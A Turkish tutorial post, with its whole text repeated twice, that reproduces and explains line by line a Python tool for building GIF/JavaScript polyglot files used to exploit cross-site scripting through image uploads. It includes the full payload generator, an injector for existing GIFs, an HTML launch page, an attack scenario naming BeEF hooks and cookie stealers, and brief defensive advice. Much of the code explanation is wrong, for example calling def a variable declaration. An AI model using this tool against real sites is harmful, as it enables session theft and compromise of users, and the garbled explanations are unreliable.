Bu konumda sizlere xss yani cross site scripting açığını bir gif dosyası ile nasıl exploit edebileceğiniz ve bunun arkasındaki neden sonuç ilişkisini anlatacağım.
xss yani cross site scripting açığı owasp top 10 listesinde 7. sırada yer almaktadır
bu yazı ile ilgili bir makale:https://resources.infosecinstitute.com/topic/exploit-xss-image/
NOT: yazımda size tool kullanımını anlatmayacağım tool içerisindeki kodu inceleyerek anlamanızı sağlamaya çalışacağım
İlk başta bir gif dosyasının çalışma prensibini inceleyelim.
Gif dosyaları kendilerine ait bir başlık bilgisine sahiptirler (bizim payloadımızı yerleştireceğimiz kısımda burası) , bu başlık bilgisi 6 byteadan oluşpur ve ascıı karakter kodlaması ile hexadecimal olarak kodlanmıştır.
Bu betiğe imza denir ve tüm gif dosyaları bu betik ile başlar. Dosyanınn 6 byte kadar içerisinde yer kaplar,; ilk 3 byte her zaman "G","I","F" karakterlerini içerir bunun hexadecimal kodlaması da 47 49 46 dır sonraki 3 char ise sürüm beliritri yani 89a veya LIB gibi popüler gif sürümleri içerisinde yazar.
Daha fazla bilgi almak isteyenler gif dosyalarının çalışma prensibi ile ilgili bu makaleyi okuyabilir: What's In A GIF - Bits and Bytes
Şimdi saldırıyı gerçekleştirmek için linkini paylaştığım ilk makalede verilen bir pastebin linki var içerisindeki koda tersine mühendislik yapıp çalışma prensibini anlamaya çalışalım
pastebin linki: https://pastebin.com/6yUbfGX5
kodun ilk satırında import argparse ikinci satırında ise import os komutları yer alıyor.
import python dilinde kütüphaneleri içeri aktarmak için kullanılan bir komuttur
argparse mödülü belli dizilimlerin yazımları ile ilgili bir kütüphane
os mödülü ise işletim sistemi ile ilgili bir kütüphanedir
ardından
def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num = "%x" % num
if len(num) % 2:
num = '0'+num
return num.decode('hex')
şeklinde bir kod bloğu ile karşılaşıyoruz
def pythonda değişken isimi tanımlamak için kullanılan bir komuttur burada _hexify adında bir değişken tanımlayıp içerisine num adında bir fonksiyon eklendiğini görüyoruz
sonra yorum satırı olarak formatları hexadecimal verilere dönüştürür yazdığını görüyoruz
biraz derine inelim
num adında bir değişken tanımlanmış ardından tırnak içine yani string olarak %x verisi tanımlanmış ve bu veri de % ile num fonksiyonu çağırılmış
if ise pythonda eğer koşul gibi işlevleri gören komuttur
türkçeye çevirirsek kod parçasını
eğer uzunluk num fonksiyonu ile 2 string edilirse num değişkeni 0 + num fonksiyonu olarak num fonksiyonu string edilir
ardından return komutu geliyor adından da anlaşılacağı gibi veriyi değişken içerisinde geri döndürür
sonra num.decode('hex')
diye bir komutumuz var bu komut ise verilen num değişkenini hex den stringe donüştürür birazdan anlayacaksınız sebebini
ardından
def _generate_and_write_to_file(payload, fname):
"""
Generates a fake but valid GIF within scriting
"""
f = open(fname, "wb")
header = (b'\x47\x49\x46\x38\x39\x61' #Signature + Version GIF89a
b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
b'\x0A\x00' #Smal Logical Screen Height
b'\x00' #GCTF
b'\xFF' #BackgroundColor
b'\x00' #Pixel Ratio
b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
b'\x2A\x2F' #Commenting out */
b'\x3D\x31\x3B' # enable the script side by introducing =1;
)
trailer = b'\x3B'
# I made this explicit, step by step .
f.write(header)
f.write(payload)
f.write(trailer)
f.close()
return True
şeklinde uzun bir kod geliyor
bu kod gene bir değişken oluşturuyor _generate_and_write_to_file adında ardından içerisine payload ve fname (filename) şeklinde iki
fonksiyon atanıyor
sonra yorum satırı içince sahte bir gif dosya betiği oluşturulduğu söyleniyor
fname fonksiyonu ile bir dosya açıp binary yazma moduna alınıyor f = open(fname, "wb") bu satırda
sebebi ise hexadecimal verileri yazdıracağımız için
ardından header diye tekil bir değişken tanımlandığını görüyoruz bu kodda hexadecimal veriler var o vakit bunları satır satır decode edelim
(b'\x47\x49\x46\x38\x39\x61' bu satırı zaten hatırlıyoruz bu bizim imzamım G I F 8 9 a şeklinde
b'\x2F\x2A' bu satırda ise /* karakterleri bastırılıyor sebebi ise buradaki verinin onaylı bir başlık verisi olduğunu ve diğer resim dosyasındaki veriler ile karışmamsı için
\x0A\x00 bu satırda ise verisini görüyoruz içerisindeki 00 değişkeni boş 0A ise atlamayı ifade ediyor ekran büyüklüğü ile ilgili verileri içeriyormuş yorum satırına göre
FF ise arkaplan rengini belirtiyor satırı hex to text olarak görüntüleyemiyoruz o yüzden küçük bir araştırma yaptım
rengin kırmızı olduğunu öğrendim
ardından uzun bir blok karşımıza çıkıyor 00 ları attığımızda ,/* ; gibi bir string elde ettim yorum satırında evrensel renk tablosu yazıyor sanırım boşluklar kalan 3 hex stringi için renk kodlamasındaki
sonraki satırda ise çıktıyı yorumluyoruz
ve script i aktif ediyoruz 1 değişkeni ile
sonra bu verileri f.write(header) ile dosyaya yazdrırıyoruz
f dosya açılırken tanımlanan değişken adı header ise bizim hex disinimizin değişken adı
sonra f.close() ile dosyayı kapatıyoruz
ve return True ile yani dönüş=1 şeklinde bir dizin verip bloğu kapıyoruz
ardından bizim alert box çıkartıcak olan kodumuzu yazdırdığımız noktaya geldik
def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage ="""
<html>
<head><title>Opening an image</title> </head>
<body>
<img src="""" + f + """_malw.gif"\>
<script src= """" + f + """_malw.gif"> </script>
</body>
</html>
"""
html = open("run.html", "wb")
html.write(htmlpage);
html.close()
return True
kodda gene aynı process yani bir değişken oluşturuluyor ve f adında fonksion belirleniyor bu sefer
sonra bir html sayfası oluşturuluyor
htmlpage değişkeni içerisindeki kodu inceleyelim
kodda
klasik olarak html tagi açılmış
ardından head yani başlık bilgisi title ile belirtilmiş
site başlığında Openin an image yazısı yazacaktır
sonra
body yani kodun gövdesinde
img src kodu verilmiş yani bir kaynaktan resim dosyasının çekmeye yarayan kod parçası
bu kodda ise bu kaynağa bizim f fonksiyonumuz yerleştirilmiş
ve dosya adı malw.gif oalrak sonuna eklenmiş
sonra
bir javascript tagi açılmış ve bu sefer başka bir kaynaktan kod çekmeye yarayan kodumuz (xss saldırı vektörlerinde karşınıza çok çıkar) yer alıyor
ve tagler kapatılıyor
sonra
ise html değişkeni oluşturuluyor ve run.html adında bir dosya açılıyor
ve içerisine bizim html kodumuz yazılıyor
ve kapatılıyor
def _inject_into_file(payload, fname):
"""
Injects the payload into existing GIF
NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
with open(fname + "_malw.gif", "w+b") as fout:
with open(fname, "rt") as fin:
for line in fin:
ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')
fout.write(ls2)
fout.seek(6,0)
fout.write(b'\x2F\x2A') #/*
f = open(fname + "_malw.gif", "a+b") #appending mode
f.write(b'\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.write(b'\x3B')
f.close()
return True
ve artık kodumuzda sona yaklaştık
şimdi ise
gene bir değişken oluşturuluyor ve hexadecimal olarak başlık bilgimiz enjekte ediliyor
bizim gif dosyamız açılıyor
sonra içerisine for döngüsü ile (for pythonda sıralı döngüler oluşturmak için kullanılır)
2 adet hex kodu yazdırılıyor
bu kodların tanımı ise */ yani önceden hatırlıyalım satır atlamak için
sonra ise dosyamımzım içerisine payloadımız yazdırılıyor dosya kapanıyor
ve değişken döndürülüyor
sona yaklaştık
şimdi ise kodda eksik bir şeyler olduğunu fark ediyorum
sanırım girdiler
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the gif file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For exmample: "alert("test");"")
parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
args = parser.parse_args()
print("""
|======================================================================================================|
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
|======================================================================================================|
"""
)
if args.inject_to_existing_gif:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)
_generate_launching_page(args.filename)
print "[+] Finished!"
girdilerimiz de burada
if __name__ == "__main__": bu satır pythonda tüm koddaki değişkenleri tek seferde belli argümanlar ile kullanmak için kullanılır kısaca fonksiyonu çağırır
komutun geri kalanı ise satır satır saldırının gerçekleştirilmesi için gereken tüm girdileri teker teker bize sunuyor
ve kodumuz burada bitti evet şimdi ise daha fazla saldırının nasıl gerçekleştiğini anladık
peki kısa bir özet geçersek ne oluyor:
Biz başlık bilgisindeki verileri kendi javascript kodumuz ile değiştirip exploitimizi oluşturmuş olduk
ardından bu tool bize bir lokal sistemimizde test etmemiz için html kodu sunuyor (mantığını daha iyi kavramak için) (değişken _generate_launching_page(f) )
peki gerçek bir saldırı senaryosu nasıl olurdu
eğer ki bir sitede başlık bilgisi siteye gif dosyamız yüklendiğinde html sayfasına content olark yazdırılıyorsa
o zaman bu açığın olma ihtimali gözümüzün önüne gelmeli
aksi takdirde exploitimiz işe yaramaz
ardından saldırgan başlık bilgisini değiştirir ve sisteme gif dosyasını yükler ve başlık bilgisi ekranda filtresiz şekilde soruce edilir ve bildiğiniz gibi
(değişken _generate_launching_page(f) de anlatıldığı gibi direkt olarak başlık bilgisi js kodu olarak çekilir) veeeee bum
ekrana enjekte ettiğimiz payload çıkar ister alert box ister beef ile hook atın ister cookie stealer ister başka bir şey bu size kalmış tool direkt payloadı istiyor ki bunun için çok daha gelişmiş toolar da mevcut kısa bir araştırma ile bulabilirsiniz makale içerisinde de 2 tane c ile yazılmış tool bulunuyor
kısaca bu saldırı vektörü ve metodoloji genel bakışta çok fazla kişinin göz ardı etme olasılığı olan bir şey olduğunu gösteriyor
bu yüzden değişik exploitler kullanılarak değişik sonuçlar elde edilebilir ve işlevsellik bakımından da yüksek entropiye sahip olduğunu düşünüyorum
ve bizim bu saldırı senaryomuza maruz kalma potansiyeli olan herkes nasıl korunabilir
ekrana gelen girdilerin filtrelenmesi aynı klasik html content injectiondaki gibi
blacklist whitelist değişkenleri konması
ve csrf tokenlerinin aktive edilmesi (bu çok korumaz ancak saldırı da linke tıklatılarak olan sosyal mühendislik saldırılarını bir nebze önler)
Yazım burada bitmiştir sağlıcakla kalın.
xss yani cross site scripting açığı owasp top 10 listesinde 7. sırada yer almaktadır
bu yazı ile ilgili bir makale:https://resources.infosecinstitute.com/topic/exploit-xss-image/
NOT: yazımda size tool kullanımını anlatmayacağım tool içerisindeki kodu inceleyerek anlamanızı sağlamaya çalışacağım
İlk başta bir gif dosyasının çalışma prensibini inceleyelim.
Gif dosyaları kendilerine ait bir başlık bilgisine sahiptirler (bizim payloadımızı yerleştireceğimiz kısımda burası) , bu başlık bilgisi 6 byteadan oluşpur ve ascıı karakter kodlaması ile hexadecimal olarak kodlanmıştır.
Bu betiğe imza denir ve tüm gif dosyaları bu betik ile başlar. Dosyanınn 6 byte kadar içerisinde yer kaplar,; ilk 3 byte her zaman "G","I","F" karakterlerini içerir bunun hexadecimal kodlaması da 47 49 46 dır sonraki 3 char ise sürüm beliritri yani 89a veya LIB gibi popüler gif sürümleri içerisinde yazar.
Daha fazla bilgi almak isteyenler gif dosyalarının çalışma prensibi ile ilgili bu makaleyi okuyabilir: What's In A GIF - Bits and Bytes
Şimdi saldırıyı gerçekleştirmek için linkini paylaştığım ilk makalede verilen bir pastebin linki var içerisindeki koda tersine mühendislik yapıp çalışma prensibini anlamaya çalışalım
pastebin linki: https://pastebin.com/6yUbfGX5
kodun ilk satırında import argparse ikinci satırında ise import os komutları yer alıyor.
import python dilinde kütüphaneleri içeri aktarmak için kullanılan bir komuttur
argparse mödülü belli dizilimlerin yazımları ile ilgili bir kütüphane
os mödülü ise işletim sistemi ile ilgili bir kütüphanedir
ardından
def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num = "%x" % num
if len(num) % 2:
num = '0'+num
return num.decode('hex')
şeklinde bir kod bloğu ile karşılaşıyoruz
def pythonda değişken isimi tanımlamak için kullanılan bir komuttur burada _hexify adında bir değişken tanımlayıp içerisine num adında bir fonksiyon eklendiğini görüyoruz
sonra yorum satırı olarak formatları hexadecimal verilere dönüştürür yazdığını görüyoruz
biraz derine inelim
num adında bir değişken tanımlanmış ardından tırnak içine yani string olarak %x verisi tanımlanmış ve bu veri de % ile num fonksiyonu çağırılmış
if ise pythonda eğer koşul gibi işlevleri gören komuttur
türkçeye çevirirsek kod parçasını
eğer uzunluk num fonksiyonu ile 2 string edilirse num değişkeni 0 + num fonksiyonu olarak num fonksiyonu string edilir
ardından return komutu geliyor adından da anlaşılacağı gibi veriyi değişken içerisinde geri döndürür
sonra num.decode('hex')
diye bir komutumuz var bu komut ise verilen num değişkenini hex den stringe donüştürür birazdan anlayacaksınız sebebini
ardından
def _generate_and_write_to_file(payload, fname):
"""
Generates a fake but valid GIF within scriting
"""
f = open(fname, "wb")
header = (b'\x47\x49\x46\x38\x39\x61' #Signature + Version GIF89a
b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
b'\x0A\x00' #Smal Logical Screen Height
b'\x00' #GCTF
b'\xFF' #BackgroundColor
b'\x00' #Pixel Ratio
b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
b'\x2A\x2F' #Commenting out */
b'\x3D\x31\x3B' # enable the script side by introducing =1;
)
trailer = b'\x3B'
# I made this explicit, step by step .
f.write(header)
f.write(payload)
f.write(trailer)
f.close()
return True
şeklinde uzun bir kod geliyor
bu kod gene bir değişken oluşturuyor _generate_and_write_to_file adında ardından içerisine payload ve fname (filename) şeklinde iki
fonksiyon atanıyor
sonra yorum satırı içince sahte bir gif dosya betiği oluşturulduğu söyleniyor
fname fonksiyonu ile bir dosya açıp binary yazma moduna alınıyor f = open(fname, "wb") bu satırda
sebebi ise hexadecimal verileri yazdıracağımız için
ardından header diye tekil bir değişken tanımlandığını görüyoruz bu kodda hexadecimal veriler var o vakit bunları satır satır decode edelim
(b'\x47\x49\x46\x38\x39\x61' bu satırı zaten hatırlıyoruz bu bizim imzamım G I F 8 9 a şeklinde
b'\x2F\x2A' bu satırda ise /* karakterleri bastırılıyor sebebi ise buradaki verinin onaylı bir başlık verisi olduğunu ve diğer resim dosyasındaki veriler ile karışmamsı için
\x0A\x00 bu satırda ise verisini görüyoruz içerisindeki 00 değişkeni boş 0A ise atlamayı ifade ediyor ekran büyüklüğü ile ilgili verileri içeriyormuş yorum satırına göre
FF ise arkaplan rengini belirtiyor satırı hex to text olarak görüntüleyemiyoruz o yüzden küçük bir araştırma yaptım
rengin kırmızı olduğunu öğrendim
ardından uzun bir blok karşımıza çıkıyor 00 ları attığımızda ,/* ; gibi bir string elde ettim yorum satırında evrensel renk tablosu yazıyor sanırım boşluklar kalan 3 hex stringi için renk kodlamasındaki
sonraki satırda ise çıktıyı yorumluyoruz
ve script i aktif ediyoruz 1 değişkeni ile
sonra bu verileri f.write(header) ile dosyaya yazdrırıyoruz
f dosya açılırken tanımlanan değişken adı header ise bizim hex disinimizin değişken adı
sonra f.close() ile dosyayı kapatıyoruz
ve return True ile yani dönüş=1 şeklinde bir dizin verip bloğu kapıyoruz
ardından bizim alert box çıkartıcak olan kodumuzu yazdırdığımız noktaya geldik
def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage ="""
<html>
<head><title>Opening an image</title> </head>
<body>
<img src="""" + f + """_malw.gif"\>
<script src= """" + f + """_malw.gif"> </script>
</body>
</html>
"""
html = open("run.html", "wb")
html.write(htmlpage);
html.close()
return True
kodda gene aynı process yani bir değişken oluşturuluyor ve f adında fonksion belirleniyor bu sefer
sonra bir html sayfası oluşturuluyor
htmlpage değişkeni içerisindeki kodu inceleyelim
kodda
klasik olarak html tagi açılmış
ardından head yani başlık bilgisi title ile belirtilmiş
site başlığında Openin an image yazısı yazacaktır
sonra
body yani kodun gövdesinde
img src kodu verilmiş yani bir kaynaktan resim dosyasının çekmeye yarayan kod parçası
bu kodda ise bu kaynağa bizim f fonksiyonumuz yerleştirilmiş
ve dosya adı malw.gif oalrak sonuna eklenmiş
sonra
bir javascript tagi açılmış ve bu sefer başka bir kaynaktan kod çekmeye yarayan kodumuz (xss saldırı vektörlerinde karşınıza çok çıkar) yer alıyor
ve tagler kapatılıyor
sonra
ise html değişkeni oluşturuluyor ve run.html adında bir dosya açılıyor
ve içerisine bizim html kodumuz yazılıyor
ve kapatılıyor
def _inject_into_file(payload, fname):
"""
Injects the payload into existing GIF
NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
with open(fname + "_malw.gif", "w+b") as fout:
with open(fname, "rt") as fin:
for line in fin:
ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')
fout.write(ls2)
fout.seek(6,0)
fout.write(b'\x2F\x2A') #/*
f = open(fname + "_malw.gif", "a+b") #appending mode
f.write(b'\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.write(b'\x3B')
f.close()
return True
ve artık kodumuzda sona yaklaştık
şimdi ise
gene bir değişken oluşturuluyor ve hexadecimal olarak başlık bilgimiz enjekte ediliyor
bizim gif dosyamız açılıyor
sonra içerisine for döngüsü ile (for pythonda sıralı döngüler oluşturmak için kullanılır)
2 adet hex kodu yazdırılıyor
bu kodların tanımı ise */ yani önceden hatırlıyalım satır atlamak için
sonra ise dosyamımzım içerisine payloadımız yazdırılıyor dosya kapanıyor
ve değişken döndürülüyor
sona yaklaştık
şimdi ise kodda eksik bir şeyler olduğunu fark ediyorum
sanırım girdiler
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the gif file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For exmample: "alert("test");"")
parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
args = parser.parse_args()
print("""
|======================================================================================================|
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
|======================================================================================================|
"""
)
if args.inject_to_existing_gif:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)
_generate_launching_page(args.filename)
print "[+] Finished!"
girdilerimiz de burada
if __name__ == "__main__": bu satır pythonda tüm koddaki değişkenleri tek seferde belli argümanlar ile kullanmak için kullanılır kısaca fonksiyonu çağırır
komutun geri kalanı ise satır satır saldırının gerçekleştirilmesi için gereken tüm girdileri teker teker bize sunuyor
ve kodumuz burada bitti evet şimdi ise daha fazla saldırının nasıl gerçekleştiğini anladık
peki kısa bir özet geçersek ne oluyor:
Biz başlık bilgisindeki verileri kendi javascript kodumuz ile değiştirip exploitimizi oluşturmuş olduk
ardından bu tool bize bir lokal sistemimizde test etmemiz için html kodu sunuyor (mantığını daha iyi kavramak için) (değişken _generate_launching_page(f) )
peki gerçek bir saldırı senaryosu nasıl olurdu
eğer ki bir sitede başlık bilgisi siteye gif dosyamız yüklendiğinde html sayfasına content olark yazdırılıyorsa
o zaman bu açığın olma ihtimali gözümüzün önüne gelmeli
aksi takdirde exploitimiz işe yaramaz
ardından saldırgan başlık bilgisini değiştirir ve sisteme gif dosyasını yükler ve başlık bilgisi ekranda filtresiz şekilde soruce edilir ve bildiğiniz gibi
(değişken _generate_launching_page(f) de anlatıldığı gibi direkt olarak başlık bilgisi js kodu olarak çekilir) veeeee bum
ekrana enjekte ettiğimiz payload çıkar ister alert box ister beef ile hook atın ister cookie stealer ister başka bir şey bu size kalmış tool direkt payloadı istiyor ki bunun için çok daha gelişmiş toolar da mevcut kısa bir araştırma ile bulabilirsiniz makale içerisinde de 2 tane c ile yazılmış tool bulunuyor
kısaca bu saldırı vektörü ve metodoloji genel bakışta çok fazla kişinin göz ardı etme olasılığı olan bir şey olduğunu gösteriyor
bu yüzden değişik exploitler kullanılarak değişik sonuçlar elde edilebilir ve işlevsellik bakımından da yüksek entropiye sahip olduğunu düşünüyorum
ve bizim bu saldırı senaryomuza maruz kalma potansiyeli olan herkes nasıl korunabilir
ekrana gelen girdilerin filtrelenmesi aynı klasik html content injectiondaki gibi
blacklist whitelist değişkenleri konması
ve csrf tokenlerinin aktive edilmesi (bu çok korumaz ancak saldırı da linke tıklatılarak olan sosyal mühendislik saldırılarını bir nebze önler)
Yazım burada bitmiştir sağlıcakla kalın.